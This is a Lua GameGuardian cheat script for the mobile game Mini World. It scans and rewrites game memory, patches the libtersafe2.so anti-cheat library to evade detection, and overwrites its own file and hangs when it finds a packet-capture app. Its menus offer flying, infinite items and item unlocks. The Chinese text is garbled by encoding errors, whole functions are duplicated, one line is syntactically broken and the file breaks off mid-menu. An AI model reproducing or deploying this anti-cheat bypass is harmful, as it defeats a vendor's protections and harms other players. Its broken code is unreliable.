nFindStartIndex = nFindLastIndex + string.len (szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]["offset"] xglx = qmxg[x]["type"] xgsz = qmxg[x]["value"] xgdj = qmxg[x]["freeze"] if xgdj == nil or xgdj == "" then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]["memory"]) gg.searchNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "å¤±è´¥") else gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) gg.refineNumber(qmnb[3]["value"], qmnb[3]["type"]) if gg.getResultCount() == 0 then gg.toast(qmnb[2]["name"] .. "ä¸¢å¤±æƒ…ä¹¦") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]["offset"] pysz[1].flags = qmnb[v]["type"] szpy = gg.getValues(pysz) pdpd = qmnb[v]["lv"] .. ";" .. szpy[1].value szpd = split(pdpd, ";") tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast(qmnb[2]["name"] .. "æˆ�åŠŸæ�¥å�—æƒ…ä¹¦" .. xgsl .. "å°�") else gg.toast(qmnb[2]["name"] .. "çˆ±å¤±è´¥äº†") end end end end
function Ax(qmnb,qmxg)gg.setVisible(false)gg.clearResults()qmnbv=qmnb[3]["value"]or qmnb[3][1]qmnbt=qmnb[3]["type"]or qmnb[3][2]qmnbn=qmnb[2]["name"]or qmnb[2][1]gg.setRanges(qmnb[1]["memory"]or qmnb[1][1])gg.searchNumber(qmnbv,qmnbt)gg.refineNumber(qmnbv,qmnbt)sz=gg.getResultCount()if sz==0 then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸï¼Œæ³¨å…¥3æ�¡æ•°æ�®!")else sl=gg.getResults(999999)for i=1,sz do pdsz=true for v=4,#qmnb do if pdsz==true then pysz={{}}pysz[1].address=sl[i].address+(qmnb[v]["offset"]or qmnb[v][2])pysz[1].flags=qmnb[v]["type"]or qmnb[v][3]szpy=gg.getValues(pysz)tzszpd=tostring(qmnb[v]["lv"]or qmnb[v][1]):gsub(",","")pyszpd=tostring(szpy[1].value):gsub(",","")if tzszpd==pyszpd then pdjg=true pdsz=true else pdjg=false pdsz=false end end end if pdjg==true then szpy=sl[i].address for x=1,#qmxg do xgsz=qmxg[x]["value"]or qmxg[x][1]xgpy=szpy+(qmxg[x]["offset"]or qmxg[x][2])xglx=qmxg[x]["type"]or qmxg[x][3]xgdj=qmxg[x]["freeze"]or qmxg[x][4]xg={{address=xgpy,flags=xglx,value=xgsz}}if xgdj==true then xg[1].freeze=xgdj gg.addListItems(xg)else gg.setValues(xg)end end xgjg=true end end if xgjg==true then gg.toast(qmnbn.."å¼€å�¯æˆ�åŠŸ\n          å…±æ³¨å…¥ 3 æ�¡æ•°æ�®")else gg.toast(qmnbn.."å¼€å�¯å¤±è´¥ï¼Œå…±æ³¨å…¥3æ�¡æ•°æ�®!8")end end end
function Address(adds,offset,chang,value,flags,freeze,save,name)local add=gg.getRangesList(adds)[1]["start"]+offset local data={{["address"]=add,["value"]=value,["flags"]=flags,["freeze"]=freeze}}if chang==true then gg.setValues(data)end if freeze or save ==true then gg.addListItems(data)end if name~="false" then gg.toast("ğŸ›¡["..name.."]å·²æ³¨å…¥ğŸ›¡")end end
function split(szFullString, szSeparator) local nFindStartIndex = 1 local nSplitIndex = 1 local nSplitArray = {} while true do local nFindLastIndex = string.find(szFullString, szSeparator, nFindStartIndex) if not nFindLastIndex then nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, string.len(szFullString)) break end nSplitArray[nSplitIndex] = string.sub(szFullString, nFindStartIndex, nFindLastIndex - 1) nFindStartIndex = nFindLastIndex + string.len(szSeparator) nSplitIndex = nSplitIndex + 1 end return nSplitArray end function xgxc(szpy, qmxg) for x = 1, #(qmxg) do xgpy = szpy + qmxg[x]['offset'] xglx = qmxg[x]['type'] xgsz = qmxg[x]['value'] xgdj = qmxg[x]['freeze'] if xgdj == nil or xgdj == '' then gg.setValues({[1] = {address = xgpy, flags = xglx, value = xgsz}}) else gg.addListItems({[1] = {address = xgpy, flags = xglx, freeze = xgdj, value = xgsz}}) end xgsl = xgsl + 1 xgjg = true end end function xqmnb(qmnb) gg.clearResults() gg.setRanges(qmnb[1]['memory']) gg.searchNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast('id'..qmnb[2]['name'] .. 'å¼€å�¯å¤±è´¥')gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."å¼€å�¯å¤±è´¥&spd=5&source=wise") else gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) gg.refineNumber(qmnb[3]['value'], qmnb[3]['type']) if gg.getResultCount() == 0 then gg.toast(''..qmnb[2]['name'] .. 'å¼€å�¯å¤±è´¥')gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."å¼€å�¯å¤±è´¥&spd=5&source=wise") else sl = gg.getResults(999999) sz = gg.getResultCount() xgsl = 0 if sz > 999999 then sz = 999999 end for i = 1, sz do pdsz = true for v = 4, #(qmnb) do if pdsz == true then pysz = {} pysz[1] = {} pysz[1].address = sl[i].address + qmnb[v]['offset'] pysz[1].flags = qmnb[v]['type'] szpy = gg.getValues(pysz) pdpd = qmnb[v]['lv'] .. ';' .. szpy[1].value szpd = split(pdpd, ';') tzszpd = szpd[1] pyszpd = szpd[2] if tzszpd == pyszpd then pdjg = true pdsz = true else pdjg = false pdsz = false end end end if pdjg == true then szpy = sl[i].address xgxc(szpy, qmxg) end end if xgjg == true then gg.toast('\n'..qmnb[2]['name']..'å¼€å�¯æˆ�åŠŸ,å…±æ³¨å…¥' .. xgsl .. 'æ�¡æ•°æ�®') gg.playMusic("https://fanyi.baidu.com/gettts?lan=zh&text="..qmnb[2]['name'].."å¼€å�¯æˆ�åŠŸ&spd=5&source=wise")else gg.toast(''..qmnb[2]['name'] .. 'å¼€å�¯å¤±è´¥') end end end end
function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["ä¸»ç‰¹å¾�ç �"] = tb1[1][1],["ç±»å�‹"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["å‰¯ç‰¹å¾�ç �"] = tb1[i][1],["å��ç§»"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["ä¿®æ”¹"] = tb2[i][1],["å��ç§»"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["ä¿®æ”¹"] = false,["å��ç§»"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["ç±»å�‹"]   gg.searchNumber(Search[1]["ä¸»ç‰¹å¾�ç �"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["å‰¯ç‰¹å¾�ç �"]       if Search[k]["ç±»å�‹"]~= nil then            lx =Search[k]["ç±»å�‹"]          else            lx = Search[1]["ç±»å�‹"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["å��ç§»"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["ç±»å�‹"] ~= nil then              lx = w["ç±»å�‹"]            else              lx = Search[1]["ç±»å�‹"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["å��ç§»"]           t[#t].flags = lx           if (w["ä¿®æ”¹"]~=nil) and (w["ä¿®æ”¹"]~=false) then             t[#t].value = w["ä¿®æ”¹"]             gg.setValues(t)             if (w["å†»ç»“"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["å†»ç»“"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)          else       gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")       return false     end    else     gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("typeå�‚æ•°é”™è¯¯") gg.toast("typeå�‚æ•°é”™è¯¯") os.exit() end else print("memory or arrayå�‚æ•°é”™è¯¯") gg.toast("memory or arrayå�‚æ•°é”™è¯¯") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function Xilst() local iihj = ilht+1 gg.setRanges(4) local dataType = 4 local tb1 = {{ilht, 0},{iihj, 0x400},} local tb2 = {{  0 }, } SearchWrite(tb1, tb2, dataType) sl=gg.getResultCount() jg=gg.getResults(100) for i = 1, sl do dzy=jg[i].address gg.addListItems({[1] = {address = dzy,flags = gg.TYPE_DWORD,freeze = true,value = ilht}}) end end
function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["ä¸»ç‰¹å¾�ç �"] = tb1[1][1],["ç±»å�‹"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["å‰¯ç‰¹å¾�ç �"] = tb1[i][1],["å��ç§»"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["ä¿®æ”¹"] = tb2[i][1],["å��ç§»"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["ä¿®æ”¹"] = false,["å��ç§»"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["ç±»å�‹"]   gg.searchNumber(Search[1]["ä¸»ç‰¹å¾�ç �"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["å‰¯ç‰¹å¾�ç �"]       if Search[k]["ç±»å�‹"]~= nil then            lx =Search[k]["ç±»å�‹"]          else            lx = Search[1]["ç±»å�‹"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["å��ç§»"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["ç±»å�‹"] ~= nil then              lx = w["ç±»å�‹"]            else              lx = Search[1]["ç±»å�‹"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["å��ç§»"]           t[#t].flags = lx           if (w["ä¿®æ”¹"]~=nil) and (w["ä¿®æ”¹"]~=false) then             t[#t].value = w["ä¿®æ”¹"]             gg.setValues(t)             if (w["å†»ç»“"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["å†»ç»“"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)           else       gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")       return false     end    else     gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("typeå�‚æ•°é”™è¯¯") gg.toast("typeå�‚æ•°é”™è¯¯") os.exit() end else print("memory or arrayå�‚æ•°é”™è¯¯") gg.toast("memory or arrayå�‚æ•°é”™è¯¯") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function setvalue(address,flags,value) PS('ä¿®æ”¹åœ°å�€æ•°å€¼(åœ°å�€,æ•°å€¼ç±»å�‹,è¦�ä¿®æ”¹çš„å€¼)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end
function PS() end function setvalue(address,flags,value) PS('ä¿®æ”¹åœ°å�€æ•°å€¼(åœ°å�€,æ•°å€¼ç±»å�‹,è¦�ä¿®æ”¹çš„å€¼)') local tt={} tt[1]={} tt[1].address=address tt[1].flags=flags tt[1].value=value gg.setValues(tt) end  
function SearchWrite(tb1, tb2, dataType, Name) local lt1={} local lt2={} local mm1={["ä¸»ç‰¹å¾�ç �"] = tb1[1][1],["ç±»å�‹"] = dataType } table.insert(lt1,1,mm1)   for i=2 , #tb1 do     local mm2={["å‰¯ç‰¹å¾�ç �"] = tb1[i][1],["å��ç§»"] = tb1[i][2]}     table.insert(lt1,i,mm2)   end   for i=1 , #tb2 do     if tb2[i][2]~=nil then       local mm3={["ä¿®æ”¹"] = tb2[i][1],["å��ç§»"] = tb2[i][2]}       table.insert(lt2,i,mm3)      else       local mm3={["ä¿®æ”¹"] = false,["å��ç§»"] = tb2[i][1]}       table.insert(lt2,i,mm3)     end   end   LongTao(lt1, lt2 ) end  function LongTao(Search, Write)   gg.clearResults()   gg.setVisible(false)   lx=Search[1]["ç±»å�‹"]   gg.searchNumber(Search[1]["ä¸»ç‰¹å¾�ç �"], lx)   local count = gg.getResultCount()   local result = gg.getResults(count)   gg.clearResults()   local data = {}   if (count > 0) then     gg.toast("å…±æ�œç´¢ "..count.." æ�¡æ•°æ�®")     for i, v in ipairs(result) do       v.isUseful = true     end     for k=2, #Search do       local tmp = {}       local num = Search[k]["å‰¯ç‰¹å¾�ç �"]       if Search[k]["ç±»å�‹"]~= nil then            lx =Search[k]["ç±»å�‹"]          else            lx = Search[1]["ç±»å�‹"]         end       for i, v in ipairs(result) do         tmp[#tmp+1] = {}         tmp[#tmp].address = v.address + Search[k]["å��ç§»"]         tmp[#tmp].flags = lx       end       tmp = gg.getValues(tmp)       for i, v in ipairs(tmp) do         if ( tostring(v.value) ~= tostring(num) ) then           result[i].isUseful = false         end       end     end     for i, v in ipairs(result) do       if (v.isUseful) then         data[#data+1] = v.address       end     end     if (#data > 0) then       local t = {}       for i=1, #data do         for k, w in ipairs(Write) do           if w["ç±»å�‹"] ~= nil then              lx = w["ç±»å�‹"]            else              lx = Search[1]["ç±»å�‹"]           end           t[#t+1] = {}           t[#t].address = data[i] + w["å��ç§»"]           t[#t].flags = lx           if (w["ä¿®æ”¹"]~=nil) and (w["ä¿®æ”¹"]~=false) then             t[#t].value = w["ä¿®æ”¹"]             gg.setValues(t)             if (w["å†»ç»“"] == true) then               local item = {}               item[#item+1] = t[#t]               item[#item].freeze = w["å†»ç»“"]               gg.addListItems(item)             end           end         end       end       gg.loadResults(t)       gg.toast("å…±å��ç§»Î·"..#t.." æ�¡æ•°æ�®Î”Î˜")      else       gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")       return false     end    else     gg.toast("æœªå®šä½�åˆ°æ•°æ�®ï¼�")     return false   end end    local app = {} function Assert(data) if data == nil or data == "" or data == "nil" then return false else return true end end function mearrass(memory, array) if Assert(memory) and Assert(array) then return true else return false end end function typetab(array, type) local datatype = {} for i = 1, #array do if Assert(array[i].type) then table.insert(datatype, i, array[i].type) else if Assert(type) then table.insert(datatype, i, type) else return false end end end return true, datatype end function app.memorysearch(memory, array, type) gg.setVisible(false) local isok = mearrass(memory, array) if isok then local isok, datatype = typetab(array, type) if isok then if Assert(array[1].hv) then gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv .. "~" .. array[1].hv, datatype[1]) else gg.clearResults() gg.setRanges(memory) gg.searchNumber(array[1].lv, datatype[1]) end if gg.getResultCount() == 0 then return false else local tab = {} local data = gg.getResults(gg.getResultCount()) gg.clearResults() for i = 1, #data do data[i].isok = true end for i = 2, #array do local t = {} local offset = array[i].offset for x = 1, #data do t[#t + 1] = {} t[#t].address = data[x].address + offset t[#t].flags = datatype[i] end local t = gg.getValues(t) for z = 1, #t do if Assert(array[i].hv) then if tonumber(t[z].value) < tonumber(array[i].lv) or tonumber(t[z].value) > tonumber(array[i].hv) then  data[z].isok = false end else if tostring(t[z].value) ~= tostring(array[i].lv) then data[z].isok = false end end end end for i = 1, #data do if data[i].isok then tab[#tab + 1] = data[i].address end end if #tab > 0 then return true, tab else return false end end else print("typeå�‚æ•°é”™è¯¯") gg.toast("typeå�‚æ•°é”™è¯¯") os.exit() end else print("memory or arrayå�‚æ•°é”™è¯¯") gg.toast("memory or arrayå�‚æ•°é”™è¯¯") os.exit() end end function app.memoryread(addr, type) local t = {} t[1] = {} t[1].address = addr t[1].flags = type if #t > 0 then return true, gg.getValues(t)[1].value else return false end end function app.memorywrite(addr, type, value, freeze) local t = {} t[1] = {} t[1].address = addr t[1].flags = type t[1].value = value if #t > 0 then if Assert(freeze) then t[1].freeze = freeze return gg.addListItems(t) else return gg.setValues(t) end else return false end end
function S_Pointer(t_So, t_Offset, _bit)local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end
--è¯¥è½¯ä»¶å�ªç”¨äº�å­¦ä¹ ,è¯·å‹¿ç”¨äº�é��æ³•ç”¨é€”
--æŠ“ åŒ… æ£€ æµ‹
file,err=io.open("/data/data/com.guoshi.httpcanary")
jg=err:match("%((.-)%)")
if jg=="No such file or directory" then else
print("å“ˆå“ˆå“ˆ,ä½ TMå±…ç„¶æ•¢å®‰è£…æŠ“åŒ…è½¯ä»¶,ç›´æ�¥å�¸è½½å¥½å�§") 
gg.saveList(gg.getFile())os.exit()while true do end end
--æ¸  é�“ æ£€ æµ‹/æ£€ æµ‹ è¿› ç¨‹
bm = gg.getTargetInfo()['packageName']
a=bm b="com.minitech.miniworld"
if a==b then else os.exit()end
--è�·å�–è¿·ä½ å�·
local lhc for i,v in ipairs(gg.getListItems())do if v.value==1701593942 then  tp=1 break end end 
if tp then else so({"è�·å�–è¿·ä½ å�·",1701593942,4,4},{{774993416,0xFC}},{{nil,0,4,2}}) end
--å›¾æ ‡é…�ç½®
bqt={"ğŸ�¥ï¸�","ğŸ”®","ğŸ�ƒï¸�","ğŸ�¬","ğŸ�¬","ğŸ�¡ï¸�","ğŸŒŠ","ğŸ’�","ğŸ�­","ğŸ”°","ğŸ’ ï¸�","ğŸ�§ï¸�","â›„ï¸�","ğŸ�³ï¸�","ğŸ�‰","ğŸ§Š","ğŸŒ€"}
--ä»¥ä¸Šä¸ºé…�ç½®å°�ç™½ä¸�æ‡‚å‹¿åŠ¨



t=1
for i = 5,100,5 do
jd=math.random(i,i+4)
if i==100 then jd=i end
    gg.toast('è¾…åŠ©æ­£åœ¨åŠ è½½... %'..jd..'\n'..('â– '):rep(t)..('â˜†'):rep(20-t))
    t=t+1
    gg.sleep(100)--è®¾ç½®é—´éš”
end



--è¿· ä½  é˜² æ£€ æµ‹
function XGBase(Address,AFV)
local address=0
for index,offset in ipairs(Address)do if index==1 then address=offset else 
address=gg.getValues({{address=address+offset,flags=4}})[1].value end end
local Value,Freeze={},{}for index,value in ipairs(AFV)do
local VALUE={address=address+value[3],flags=value[2],value=value[1],freeze=true}
if value[4]then Freeze[#Freeze+1]=VALUE else Value[#Value+1]=VALUE
end end gg.setValues(Value)gg.addListItems(Freeze)end
XGBase(
{gg.getRangesList("libtersafe2.so:bss")[1].start},
{{0,4,0x1928,true},})
XGBase(
{gg.getRangesList("libtersafe2.so")[3].start},
{{0,4,0x4E960,true},})
XGBase(
{gg.getRangesList("libtersafe2.so")[3].start},
{{0,4,0x48AE4,true},})
XGBase(
{gg.getRangesList("libtersafe2.so")[3].start},
{{0,4,0x4EAE4,true},})
XGBase(
{gg.getRangesList("libagora-rtc-sdk.so")[3].start},
{{0,4,0xE58,true},})
XGBase(
{gg.getRangesList("libavformat.so")[3].start},
{{0,4,0xE1F8,true},})
gg.toast("à¼ºà½Œà¼€â›¦à¿ˆé˜²æ£€æµ‹(é˜²é—ª)å¼€å�¯æˆ�åŠŸà¿ˆâ›¦à¼€à½‘à¼»")


function Main()
SJ = os.date("%Yå¹´%mæœˆ%dæ—¥%Hæ—¶%Måˆ†")
local sjbq=bqt[math.random(1,#bqt)]
SN = gg.choice({
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆæˆ¿ ä¸» ï¸�åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆè�” æœº ï¸�åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�ï¸�ï¸�ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆç‚¸ å›¾ åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�ï¸�ï¸�ï¸�ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆç‹™ å‡» ï¸�åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆéŸ³ ä¹� ï¸�åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆå…¶ å®ƒ ï¸�åŠŸ èƒ½à¿ˆâ›¦à¼€à½‘à¼»ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆè¾… åŠ© å…¬ å‘Šà¿ˆâ›¦à¼€à½‘à¼»ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆé€€ å‡º ï¸�è¾… åŠ©à¿ˆâ›¦à¼€à½‘à¼»ï¸�'..sjbq,
  sjbq..'à¼ºà½Œà¼€â›¦à¿ˆå¼€ æº� å�� è®®à¿ˆâ›¦à¼€à½‘à¼»'..sjbq,
},2018,os.date("      ğŸ�³å†·å¦‚æ¢¦è¾…åŠ©9.90å¼€æº�ç‰ˆğŸ�³\n      â›„å¼€æº�äº†â›„ï¸�\n      ğŸŒ©å½“å‰�æ—¶é—´%Yå¹´%mæœˆ%dæ—¥%Hæ—¶%Måˆ†%Sç§’ğŸŒ©"))
if SN==1 then Main1() end
if SN==2 then Main2() end
if SN==3 then Main3() end
if SN==4 then Main4() end
if SN==5 then Main5() end
if SN==6 then Main6() end
if SN==7 then Main7() end
if SN==8 then Exit() end
if SN==9 then Main9 end
FX1=0 end


function Main1()  
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆåˆ›é€ èƒŒåŒ…à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆäººç‰©é£�è¡Œà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç§’æŒ–æ–¹å�—à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå½©è›‹æ�ªå¼ºåŒ–à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹æˆ¿é—´äººæ•°à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬ä¸€æ ¼ç‰©å“�é™„é­”à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç¬¬å…«æ ¼æ·»åŠ ç‰©å“�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆä¿®æ”¹åˆ†æ•°à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè§£é”�å…¨ç‰©å“�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆç”Ÿç‰©æ�‰999+æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ— é™�æ˜Ÿæ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ�ªæ”¹å­�å¼¹à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¾’æ‰‹æŒ–åŸºå²©à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ·»åŠ å��éª‘à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆåˆ·å‹‹ç« à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆ1æ ¼æ— é™�ç‰©å“�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆå¼€å¤§æˆ¿é—´à¿ˆâ›¦à¼€à½‘à¼»",
